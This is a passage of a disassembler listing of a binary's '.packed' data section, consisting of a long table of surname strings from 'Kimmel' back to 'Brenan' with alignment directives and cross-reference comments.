XREF: .packed:0042E578o aKimmel db 'Kimmel',0 ; DATA XREF: .packed:0042E574o align 4 aKhong db 'Khong',0 ; DATA XREF: .packed:0042E570o align 10h aKeul db 'Keul',0 ; DATA XREF: .packed:0042E56Co align 4 aKerry db 'Kerry',0 ; DATA XREF: .packed:0042E568o align 10h aKendall db 'Kendall',0 ; DATA XREF: .packed:0042E564o aKemsley db 'Kemsley',0 ; DATA XREF: .packed:0042E560o aKempton db 'Kempton',0 ; DATA XREF: .packed:0042E55Co aKelsey db 'Kelsey',0 ; DATA XREF: .packed:0042E558o align 10h aKelker db 'Kelker',0 ; DATA XREF: .packed:0042E554o align 4 aKeith db 'Keith',0 ; DATA XREF: .packed:0042E550o align 10h aKeepper db 'Keepper',0 ; DATA XREF: .packed:0042E54Co aKeenan db 'Keenan',0 ; DATA XREF: .packed:0042E548o align 10h aKee db 'Kee',0 ; DATA XREF: .packed:0042E544o aKawachi db 'Kawachi',0 ; DATA XREF: .packed:0042E540o aKasten db 'Kasten',0 ; DATA XREF: .packed:0042E53Co align 4 aKassower db 'Kassower',0 ; DATA XREF: .packed:0042E538o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: .packed:0042E534o align 4 aKangis db 'Kangis',0 ; DATA XREF: .packed:0042E530o align 4 aKamel db 'Kamel',0 ; DATA XREF: .packed:0042E52Co align 4 aKalman db 'Kalman',0 ; DATA XREF: .packed:0042E528o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: .packed:0042E524o align 10h aKalil db 'Kalil',0 ; DATA XREF: .packed:0042E520o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: .packed:0042E51Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .packed:0042E518o aKafadar db 'Kafadar',0 ; DATA XREF: .packed:0042E514o aKaboolian db 'Kaboolian',0 ; DATA XREF: .packed:0042E510o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: .packed:0042E50Co aJulious db 'Julious',0 ; DATA XREF: .packed:0042E508o aJuliano db 'Juliano',0 ; DATA XREF: .packed:0042E504o aJucks db 'Jucks',0 ; DATA XREF: .packed:0042E500o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: .packed:0042E4FCo align 10h aJolly db 'Jolly',0 ; DATA XREF: .packed:0042E4F8o align 4 aJohns db 'Johns',0 ; DATA XREF: .packed:0042E4F4o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: .packed:0042E4F0o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .packed:0042E4ECo aJewett db 'Jewett',0 ; DATA XREF: .packed:0042E4E8o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: .packed:0042E4E4o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: .packed:0042E4E0o aJellis db 'Jellis',0 ; DATA XREF: .packed:0042E4DCo align 4 aJeffers db 'Jeffers',0 ; DATA XREF: .packed:0042E4D8o aJay db 'Jay',0 ; DATA XREF: .packed:0042E4D4o aJarrell db 'Jarrell',0 ; DATA XREF: .packed:0042E4D0o aJarnagin db 'Jarnagin',0 ; DATA XREF: .packed:0042E4CCo align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .packed:0042E4C8o align 4 aJamil db 'Jamil',0 ; DATA XREF: .packed:0042E4C4o align 10h aJain db 'Jain',0 ; DATA XREF: .packed:0042E4C0o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: .packed:0042E4BCo align 10h aJagger db 'Jagger',0 ; DATA XREF: .packed:0042E4B8o align 4 aJagers db 'Jagers',0 ; DATA XREF: .packed:0042E4B4o align 10h aJackson db 'Jackson',0 ; DATA XREF: .packed:0042E4B0o aJacenko db 'Jacenko',0 ; DATA XREF: .packed:0042E4ACo aIyer db 'Iyer',0 ; DATA XREF: .packed:0042E4A8o align 4 aIsserman db 'Isserman',0 ; DATA XREF: .packed:0042E4A4o align 4 aIsbill db 'Isbill',0 ; DATA XREF: .packed:0042E4A0o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .packed:0042E49Co align 4 aIsaac db 'Isaac',0 ; DATA XREF: .packed:0042E498o align 10h aInniss db 'Inniss',0 ; DATA XREF: .packed:0042E494o align 4 aInamura db 'Inamura',0 ; DATA XREF: .packed:0042E490o aIgarashi db 'Igarashi',0 ; DATA XREF: .packed:0042E48Co align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .packed:0042E488o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: .packed:0042E484o align 4 aHyde db 'Hyde',0 ; DATA XREF: .packed:0042E480o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .packed:0042E47Co align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: .packed:0042E478o align 4 aHupp db 'Hupp',0 ; DATA XREF: .packed:0042E474o align 4 aHuntington db 'Huntington',0 ; DATA XREF: .packed:0042E470o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: .packed:0042E46Co align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: .packed:0042E468o align 10h aHuey db 'Huey',0 ; DATA XREF: .packed:0042E464o align 4 aHoy db 'Hoy',0 ; DATA XREF: .packed:0042E460o aHoward db 'Howard',0 ; DATA XREF: .packed:0042E45Co align 4 aHottle db 'Hottle',0 ; DATA XREF: .packed:0042E458o align 4 aHostage db 'Hostage',0 ; DATA XREF: .packed:0042E454o aHoshida db 'Hoshida',0 ; DATA XREF: .packed:0042E450o aHorsley db 'Horsley',0 ; DATA XREF: .packed:0042E44Co aHopkins db 'Hopkins',0 ; DATA XREF: .packed:0042E448o aHooker db 'Hooker',0 ; DATA XREF: .packed:0042E444o align 4 aHolzman db 'Holzman',0 ; DATA XREF: .packed:0042E440o aHolway db 'Holway',0 ; DATA XREF: .packed:0042E43Co align 4 aHolter db 'Holter',0 ; DATA XREF: .packed:0042E438o align 4 aHoloien db 'Holoien',0 ; DATA XREF: .packed:0042E434o aHolmes db 'Holmes',0 ; DATA XREF: .packed:0042E430o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: .packed:0042E42Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: .packed:0042E428o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: .packed:0042E424o aHoffer db 'Hoffer',0 ; DATA XREF: .packed:0042E420o align 10h aHock db 'Hock',0 ; DATA XREF: .packed:0042E41Co align 4 aHoang db 'Hoang',0 ; DATA XREF: .packed:0042E418o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: .packed:0042E414o align 4 aHirst db 'Hirst',0 ; DATA XREF: .packed:0042E410o align 4 aHind db 'Hind',0 ; DATA XREF: .packed:0042E40Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .packed:0042E408o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: .packed:0042E404o align 10h aHeubert db 'Heubert',0 ; DATA XREF: .packed:0042E400o aHester db 'Hester',0 ; DATA XREF: .packed:0042E3FCo align 10h aHerrera db 'Herrera',0 ; DATA XREF: .packed:0042E3F8o aHernandez db 'Hernandez',0 ; DATA XREF: .packed:0042E3F4o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: .packed:0042E3F0o align 10h aHenery db 'Henery',0 ; DATA XREF: .packed:0042E3ECo align 4 aHemphill db 'Hemphill',0 ; DATA XREF: .packed:0042E3E8o align 4 aHelprin db 'Helprin',0 ; DATA XREF: .packed:0042E3E4o aHellmiss db 'Hellmiss',0 ; DATA XREF: .packed:0042E3E0o align 4 aHellman db 'Hellman',0 ; DATA XREF: .packed:0042E3DCo aHeiland db 'Heiland',0 ; DATA XREF: .packed:0042E3D8o aHeft db 'Heft',0 ; DATA XREF: .packed:0042E3D4o align 10h aHeermans db 'Heermans',0 ; DATA XREF: .packed:0042E3D0o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .packed:0042E3CCo align 4 aHaynes db 'Haynes',0 ; DATA XREF: .packed:0042E3C8o align 10h aHayes db 'Hayes',0 ; DATA XREF: .packed:0042E3C4o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: .packed:0042E3C0o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: .packed:0042E3BCo align 4 aHarwell db 'Harwell',0 ; DATA XREF: .packed:0042E3B8o aHartnett db 'Hartnett',0 ; DATA XREF: .packed:0042E3B4o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: .packed:0042E3B0o align 4 aHartman db 'Hartman',0 ; DATA XREF: .packed:0042E3ACo aHarrigan db 'Harrigan',0 ; DATA XREF: .packed:0042E3A8o align 10h aHarlow db 'Harlow',0 ; DATA XREF: .packed:0042E3A4o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: .packed:0042E3A0o align 4 aHarding db 'Harding',0 ; DATA XREF: .packed:0042E39Co aHanssen db 'Hanssen',0 ; DATA XREF: .packed:0042E398o aHand db 'Hand',0 ; DATA XREF: .packed:0042E394o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .packed:0042E390o align 4 aHamer db 'Hamer',0 ; DATA XREF: .packed:0042E38Co align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .packed:0042E388o align 10h aHalpert db 'Halpert',0 ; DATA XREF: .packed:0042E384o aHallowell db 'Hallowell',0 ; DATA XREF: .packed:0042E380o align 4 aHalkias db 'Halkias',0 ; DATA XREF: .packed:0042E37Co aHaley db 'Haley',0 ; DATA XREF: .packed:0042E378o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: .packed:0042E374o align 10h aHackman db 'Hackman',0 ; DATA XREF: .packed:0042E370o aHaar db 'Haar',0 ; DATA XREF: .packed:0042E36Co align 10h aHa db 'Ha',0 ; DATA XREF: .packed:0042E368o align 4 aGuo db 'Guo',0 ; DATA XREF: .packed:0042E364o aGunn db 'Gunn',0 ; DATA XREF: .packed:0042E360o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: .packed:0042E35Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: .packed:0042E358o align 4 aGruner db 'Gruner',0 ; DATA XREF: .packed:0042E354o align 4 aGrummell db 'Grummell',0 ; DATA XREF: .packed:0042E350o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: .packed:0042E34Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: .packed:0042E348o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: .packed:0042E344o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: .packed:0042E340o align 4 aGravell db 'Gravell',0 ; DATA XREF: .packed:0042E33Co aGozzi db 'Gozzi',0 ; DATA XREF: .packed:0042E338o align 4 aGoody db 'Goody',0 ; DATA XREF: .packed:0042E334o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: .packed:0042E330o align 4 aGood db 'Good',0 ; DATA XREF: .packed:0042E32Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: .packed:0042E328o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: .packed:0042E324o align 4 aGlendon db 'Glendon',0 ; DATA XREF: .packed:0042E320o aGlegg db 'Glegg',0 ; DATA XREF: .packed:0042E31Co align 4 aGleason db 'Gleason',0 ; DATA XREF: .packed:0042E318o aGist db 'Gist',0 ; DATA XREF: .packed:0042E314o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .packed:0042E310o align 4 aGill db 'Gill',0 ; DATA XREF: .packed:0042E30Co align 10h aGili db 'Gili',0 ; DATA XREF: .packed:0042E308o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .packed:0042E304o aGibson db 'Gibson',0 ; DATA XREF: .packed:0042E300o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .packed:0042E2FCo aGhorai db 'Ghorai',0 ; DATA XREF: .packed:0042E2F8o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .packed:0042E2F4o aGeorgi db 'Georgi',0 ; DATA XREF: .packed:0042E2F0o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: .packed:0042E2ECo align 4 aGeller db 'Geller',0 ; DATA XREF: .packed:0042E2E8o align 4 aGaronna db 'Garonna',0 ; DATA XREF: .packed:0042E2E4o aGarman db 'Garman',0 ; DATA XREF: .packed:0042E2E0o align 4 aGarfield db 'Garfield',0 ; DATA XREF: .packed:0042E2DCo align 4 aGambini db 'Gambini',0 ; DATA XREF: .packed:0042E2D8o aGalwey db 'Galwey',0 ; DATA XREF: .packed:0042E2D4o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: .packed:0042E2D0o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .packed:0042E2CCo align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: .packed:0042E2C8o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: .packed:0042E2C4o align 4 aFurth db 'Furth',0 ; DATA XREF: .packed:0042E2C0o align 4 aFuller db 'Fuller',0 ; DATA XREF: .packed:0042E2BCo align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .packed:0042E2B8o align 10h aFrye db 'Frye',0 ; DATA XREF: .packed:0042E2B4o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: .packed:0042E2B0o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: .packed:0042E2ACo aFrisken db 'Frisken',0 ; DATA XREF: .packed:0042E2A8o aFriedland db 'Friedland',0 ; DATA XREF: .packed:0042E2A4o align 10h aFried db 'Fried',0 ; DATA XREF: .packed:0042E2A0o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: .packed:0042E29Co align 4 aFreid db 'Freid',0 ; DATA XREF: .packed:0042E298o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .packed:0042E294o align 4 aFranz db 'Franz',0 ; DATA XREF: .packed:0042E290o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .packed:0042E28Co align 4 aFrancisco db 'Francisco',0 ; DATA XREF: .packed:0042E288o align 10h aFossi db 'Fossi',0 ; DATA XREF: .packed:0042E284o align 4 aFossey db 'Fossey',0 ; DATA XREF: .packed:0042E280o align 10h aFortier db 'Fortier',0 ; DATA XREF: .packed:0042E27Co aFortes db 'Fortes',0 ; DATA XREF: .packed:0042E278o align 10h aForester db 'Forester',0 ; DATA XREF: .packed:0042E274o align 4 aFolks db 'Folks',0 ; DATA XREF: .packed:0042E270o align 4 aFlores db 'Flores',0 ; DATA XREF: .packed:0042E26Co align 4 aFlier db 'Flier',0 ; DATA XREF: .packed:0042E268o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .packed:0042E264o aFisk db 'Fisk',0 ; DATA XREF: .packed:0042E260o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .packed:0042E25Co aFinnegan db 'Finnegan',0 ; DATA XREF: .packed:0042E258o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .packed:0042E254o aFink db 'Fink',0 ; DATA XREF: .packed:0042E250o align 10h aField db 'Field',0 ; DATA XREF: .packed:0042E24Co align 4 aFido db 'Fido',0 ; DATA XREF: .packed:0042E248o align 10h aFeuer db 'Feuer',0 ; DATA XREF: .packed:0042E244o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: .packed:0042E240o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: .packed:0042E23Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: .packed:0042E238o align 4 aFernald db 'Fernald',0 ; DATA XREF: .packed:0042E234o aFeldman db 'Feldman',0 ; DATA XREF: .packed:0042E230o aFejzo db 'Fejzo',0 ; DATA XREF: .packed:0042E22Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .packed:0042E228o align 10h aFates db 'Fates',0 ; DATA XREF: .packed:0042E224o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .packed:0042E220o align 10h aFarren db 'Farren',0 ; DATA XREF: .packed:0042E21Co align 4 aFarone db 'Farone',0 ; DATA XREF: .packed:0042E218o align 10h aFaris db 'Faris',0 ; DATA XREF: .packed:0042E214o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: .packed:0042E210o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .packed:0042E20Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: .packed:0042E208o align 4 aFagan db 'Fagan',0 ; DATA XREF: .packed:0042E204o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: .packed:0042E200o aEverett db 'Everett',0 ; DATA XREF: .packed:0042E1FCo aEuripides db 'Euripides',0 ; DATA XREF: .packed:0042E1F8o align 4 aEtter db 'Etter',0 ; DATA XREF: .packed:0042E1F4o align 4 aEstes db 'Estes',0 ; DATA XREF: .packed:0042E1F0o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .packed:0042E1ECo align 4 aErez db 'Erez',0 ; DATA XREF: .packed:0042E1E8o align 10h aErdos db 'Erdos',0 ; DATA XREF: .packed:0042E1E4o align 4 aErdman db 'Erdman',0 ; DATA XREF: .packed:0042E1E0o align 10h aErbach db 'Erbach',0 ; DATA XREF: .packed:0042E1DCo align 4 aEppling db 'Eppling',0 ; DATA XREF: .packed:0042E1D8o aEnyeart db 'Enyeart',0 ; DATA XREF: .packed:0042E1D4o aEncinas db 'Encinas',0 ; DATA XREF: .packed:0042E1D0o aElvis db 'Elvis',0 ; DATA XREF: .packed:0042E1CCo align 4 aElmerick db 'Elmerick',0 ; DATA XREF: .packed:0042E1C8o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: .packed:0042E1C4o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: .packed:0042E1C0o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .packed:0042E1BCo aEdward db 'Edward',0 ; DATA XREF: .packed:0042E1B8o align 10h aEdner db 'Edner',0 ; DATA XREF: .packed:0042E1B4o align 4 aEdley db 'Edley',0 ; DATA XREF: .packed:0042E1B0o align 10h aEckel db 'Eckel',0 ; DATA XREF: .packed:0042E1ACo align 4 aEbeling db 'Ebeling',0 ; DATA XREF: .packed:0042E1A8o aEardley db 'Eardley',0 ; DATA XREF: .packed:0042E1A4o aDwyer db 'Dwyer',0 ; DATA XREF: .packed:0042E1A0o align 10h aDussault db 'Dussault',0 ; DATA XREF: .packed:0042E19Co align 4 aDurrett db 'Durrett',0 ; DATA XREF: .packed:0042E198o aDuffin db 'Duffin',0 ; DATA XREF: .packed:0042E194o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: .packed:0042E190o aDrinker db 'Drinker',0 ; DATA XREF: .packed:0042E18Co aDowsland db 'Dowsland',0 ; DATA XREF: .packed:0042E188o align 4 aDoug db 'Doug',0 ; DATA XREF: .packed:0042E184o align 10h aDoty db 'Doty',0 ; DATA XREF: .packed:0042E180o align 4 aDosi db 'Dosi',0 ; DATA XREF: .packed:0042E17Co align 10h aDorf db 'Dorf',0 ; DATA XREF: .packed:0042E178o align 4 aDore db 'Dore',0 ; DATA XREF: .packed:0042E174o align 10h aDoonan db 'Doonan',0 ; DATA XREF: .packed:0042E170o align 4 aDonner db 'Donner',0 ; DATA XREF: .packed:0042E16Co align 10h aDonahue db 'Donahue',0 ; DATA XREF: .packed:0042E168o aDoherty db 'Doherty',0 ; DATA XREF: .packed:0042E164o aDockery db 'Dockery',0 ; DATA XREF: .packed:0042E160o aDirksen db 'Dirksen',0 ; DATA XREF: .packed:0042E15Co aDionysius db 'Dionysius',0 ; DATA XREF: .packed:0042E158o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .packed:0042E154o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: .packed:0042E150o align 4 aDifabio db 'Difabio',0 ; DATA XREF: .packed:0042E14Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: .packed:0042E148o align 4 aDicks db 'Dicks',0 ; DATA XREF: .packed:0042E144o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: .packed:0042E140o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .packed:0042E13Co aDesombre db 'Desombre',0 ; DATA XREF: .packed:0042E138o align 4 aDenison db 'Denison',0 ; DATA XREF: .packed:0042E134o aDenham db 'Denham',0 ; DATA XREF: .packed:0042E130o align 4 aDenault db 'Denault',0 ; DATA XREF: .packed:0042E12Co aDemusz db 'Demusz',0 ; DATA XREF: .packed:0042E128o align 4 aDempster db 'Dempster',0 ; DATA XREF: .packed:0042E124o align 4 aDeming db 'Deming',0 ; DATA XREF: .packed:0042E120o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042E11Co align 4 aDelger db 'Delger',0 ; DATA XREF: .packed:0042E118o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .packed:0042E114o align 4 aDelattre db 'Delattre',0 ; DATA XREF: .packed:0042E110o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: .packed:0042E10Co align 4 aDees db 'Dees',0 ; DATA XREF: .packed:0042E108o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .packed:0042E104o aDerousse db 'deRousse',0 ; DATA XREF: .packed:0042E100o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042E0FCo align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .packed:0042E0F8o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: .packed:0042E0F4o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .packed:0042E0F0o aDavid db 'David',0 ; DATA XREF: .packed:0042E0ECo align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .packed:0042E0E8o aDasgupta db 'Dasgupta',0 ; DATA XREF: .packed:0042E0E4o align 10h aDas db 'Das',0 ; DATA XREF: .packed:0042E0E0o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042E0DCo aDapice db 'Dapice',0 ; DATA XREF: .packed:0042E0D8o align 4 aDante db 'Dante',0 ; DATA XREF: .packed:0042E0D4o align 10h aDanieli db 'Danieli',0 ; DATA XREF: .packed:0042E0D0o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .packed:0042E0CCo aDaly db 'Daly',0 ; DATA XREF: .packed:0042E0C8o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: .packed:0042E0C4o align 4 aDasilva db 'daSilva',0 ; DATA XREF: .packed:0042E0C0o aCyders db 'Cyders',0 ; DATA XREF: .packed:0042E0BCo align 4 aCvek db 'Cvek',0 ; DATA XREF: .packed:0042E0B8o align 4 aCutler db 'Cutler',0 ; DATA XREF: .packed:0042E0B4o align 4 aCurrier db 'Currier',0 ; DATA XREF: .packed:0042E0B0o aCui db 'Cui',0 ; DATA XREF: .packed:0042E0ACo aCroxton db 'Croxton',0 ; DATA XREF: .packed:0042E0A8o aCroxen db 'Croxen',0 ; DATA XREF: .packed:0042E0A4o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: .packed:0042E0A0o aCrocker db 'Crocker',0 ; DATA XREF: .packed:0042E09Co aCrawford db 'Crawford',0 ; DATA XREF: .packed:0042E098o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: .packed:0042E094o aCounter db 'Counter',0 ; DATA XREF: .packed:0042E090o aCosmides db 'Cosmides',0 ; DATA XREF: .packed:0042E08Co align 4 aCornish db 'Cornish',0 ; DATA XREF: .packed:0042E088o aCorey db 'Corey',0 ; DATA XREF: .packed:0042E084o align 4 aConnors db 'Connors',0 ; DATA XREF: .packed:0042E080o aCondodina db 'Condodina',0 ; DATA XREF: .packed:0042E07Co align 4 aConcino db 'Concino',0 ; DATA XREF: .packed:0042E078o aComstock db 'Comstock',0 ; DATA XREF: .packed:0042E074o align 10h aCompton db 'Compton',0 ; DATA XREF: .packed:0042E06Co ; .packed:0042E070o aCollis db 'Collis',0 ; DATA XREF: .packed:0042E068o align 10h aCollard db 'Collard',0 ; DATA XREF: .packed:0042E064o aColella db 'Colella',0 ; DATA XREF: .packed:0042E060o aColdren db 'Coldren',0 ; DATA XREF: .packed:0042E05Co aCoito db 'Coito',0 ; DATA XREF: .packed:0042E058o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: .packed:0042E054o aClow db 'Clow',0 ; DATA XREF: .packed:0042E050o align 10h aClifton db 'Clifton',0 ; DATA XREF: .packed:0042E04Co aClement db 'Clement',0 ; DATA XREF: .packed:0042E048o aClark db 'Clark',0 ; DATA XREF: .packed:0042E044o align 4 aClancy db 'Clancy',0 ; DATA XREF: .packed:0042E040o align 10h aClaffey db 'Claffey',0 ; DATA XREF: .packed:0042E03Co aCifarelli db 'Cifarelli',0 ; DATA XREF: .packed:0042E038o align 4 aCicero db 'Cicero',0 ; DATA XREF: .packed:0042E034o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .packed:0042E030o align 4 aChurch db 'Church',0 ; DATA XREF: .packed:0042E02Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: .packed:0042E028o align 4 aChu db 'Chu',0 ; DATA XREF: .packed:0042E024o aChristopher db 'Christopher',0 ; DATA XREF: .packed:0042E020o aChristie db 'Christie',0 ; DATA XREF: .packed:0042E01Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: .packed:0042E018o align 4 aChristian db 'Christian',0 ; DATA XREF: .packed:0042E014o align 10h aChristenson db 'Christenson',0 ; DATA XREF: .packed:0042E010o aChinman db 'Chinman',0 ; DATA XREF: .packed:0042E00Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .packed:0042E008o aChilds db 'Childs',0 ; DATA XREF: .packed:0042E004o align 4 aChildress db 'Childress',0 ; DATA XREF: .packed:0042E000o align 4 aChien db 'Chien',0 ; DATA XREF: .packed:0042DFFCo align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .packed:0042DFF8o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .packed:0042DFF4o align 4 aCherry db 'Cherry',0 ; DATA XREF: .packed:0042DFF0o align 4 aCheang db 'Cheang',0 ; DATA XREF: .packed:0042DFECo align 4 aCharles db 'Charles',0 ; DATA XREF: .packed:0042DFE8o aChapman db 'Chapman',0 ; DATA XREF: .packed:0042DFE4o aCerioli db 'Cerioli',0 ; DATA XREF: .packed:0042DFE0o aCeniceros db 'Ceniceros',0 ; DATA XREF: .packed:0042DFDCo align 4 aCavell db 'Cavell',0 ; DATA XREF: .packed:0042DFD8o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: .packed:0042DFD4o align 4 aCastelda db 'Castelda',0 ; DATA XREF: .packed:0042DFD0o align 4 aCaspar db 'Caspar',0 ; DATA XREF: .packed:0042DFCCo align 10h aCase db 'Case',0 ; DATA XREF: .packed:0042DFC8o align 4 aCascio db 'Cascio',0 ; DATA XREF: .packed:0042DFC4o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: .packed:0042DFC0o align 4 aCarper db 'Carper',0 ; DATA XREF: .packed:0042DFBCo align 4 aCaroti db 'Caroti',0 ; DATA XREF: .packed:0042DFB8o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: .packed:0042DFB4o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .packed:0042DFB0o aCarlos db 'Carlos',0 ; DATA XREF: .packed:0042DFACo align 4 aCarlin db 'Carlin',0 ; DATA XREF: .packed:0042DFA8o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .packed:0042DFA4o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .packed:0042DFA0o aCapursi db 'Capursi',0 ; DATA XREF: .packed:0042DF9Co aCappuccio db 'Cappuccio',0 ; DATA XREF: .packed:0042DF98o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: .packed:0042DF94o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .packed:0042DF90o align 4 aCaperton db 'Caperton',0 ; DATA XREF: .packed:0042DF8Co align 4 aCapanni db 'Capanni',0 ; DATA XREF: .packed:0042DF88o aCanley db 'Canley',0 ; DATA XREF: .packed:0042DF84o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .packed:0042DF80o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: .packed:0042DF7Co align 4 aCalnan db 'Calnan',0 ; DATA XREF: .packed:0042DF78o align 4 aCage db 'Cage',0 ; DATA XREF: .packed:0042DF74o align 4 aByrd db 'Byrd',0 ; DATA XREF: .packed:0042DF70o align 4 aByerly db 'Byerly',0 ; DATA XREF: .packed:0042DF6Co align 4 aByatt db 'Byatt',0 ; DATA XREF: .packed:0042DF68o align 4 aBusetta db 'Busetta',0 ; DATA XREF: .packed:0042DF64o aBurridge db 'Burridge',0 ; DATA XREF: .packed:0042DF60o align 4 aBurke db 'Burke',0 ; DATA XREF: .packed:0042DF5Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: .packed:0042DF58o align 4 aBurden db 'Burden',0 ; DATA XREF: .packed:0042DF54o align 10h aBunton db 'Bunton',0 ; DATA XREF: .packed:0042DF50o align 4 aBullard db 'Bullard',0 ; DATA XREF: .packed:0042DF4Co aBudding db 'Budding',0 ; DATA XREF: .packed:0042DF48o aBuchan db 'Buchan',0 ; DATA XREF: .packed:0042DF44o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: .packed:0042DF40o aBrook db 'Brook',0 ; DATA XREF: .packed:0042DF3Co align 10h aBroca db 'Broca',0 ; DATA XREF: .packed:0042DF38o align 4 aBritz db 'Britz',0 ; DATA XREF: .packed:0042DF34o align 10h aBrinton db 'Brinton',0 ; DATA XREF: .packed:0042DF30o aBridges db 'Bridges',0 ; DATA XREF: .packed:0042DF2Co aBridgeman db 'Bridgeman',0 ; DATA XREF: .packed:0042DF28o align 4 aBrewer db 'Brewer',0 ; DATA XREF: .packed:0042DF20o ; .packed:0042DF24o align 4 aBrennan db 'Brennan',0 ; DATA XREF: .packed:0042DF1Co aBrenan db 'Brenan',0 ; DATA 